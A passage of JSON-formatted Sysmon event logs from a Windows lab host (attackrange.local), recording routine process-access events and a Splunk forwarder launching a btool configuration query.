ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.594\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.594","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.609\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.609","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.609\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 3184\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2dbe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+155e9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+fa1f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1351d|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+127f4|C:\\Windows\\system32\\wbem\\wbemcore.dll+ced2|C:\\Windows\\system32\\wbem\\wbemcore.dll+d531|C:\\Windows\\system32\\wbem\\wbemcore.dll+104fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+25435|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+dc51|C:\\Windows\\system32\\wbem\\wbemcore.dll+2cfdf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.609","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"3184","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2dbe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+155e9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+fa1f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1351d|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+127f4|C:\\Windows\\system32\\wbem\\wbemcore.dll+ced2|C:\\Windows\\system32\\wbem\\wbemcore.dll+d531|C:\\Windows\\system32\\wbem\\wbemcore.dll+104fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+25435|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+dc51|C:\\Windows\\system32\\wbem\\wbemcore.dll+2cfdf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nSourceProcessId: 3916\r\nSourceThreadId: 3920\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","SourceProcessId":"3916","SourceThreadId":"3920","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nProcessId: 3984\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010BC070300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.772\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.772","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.772\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.772","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 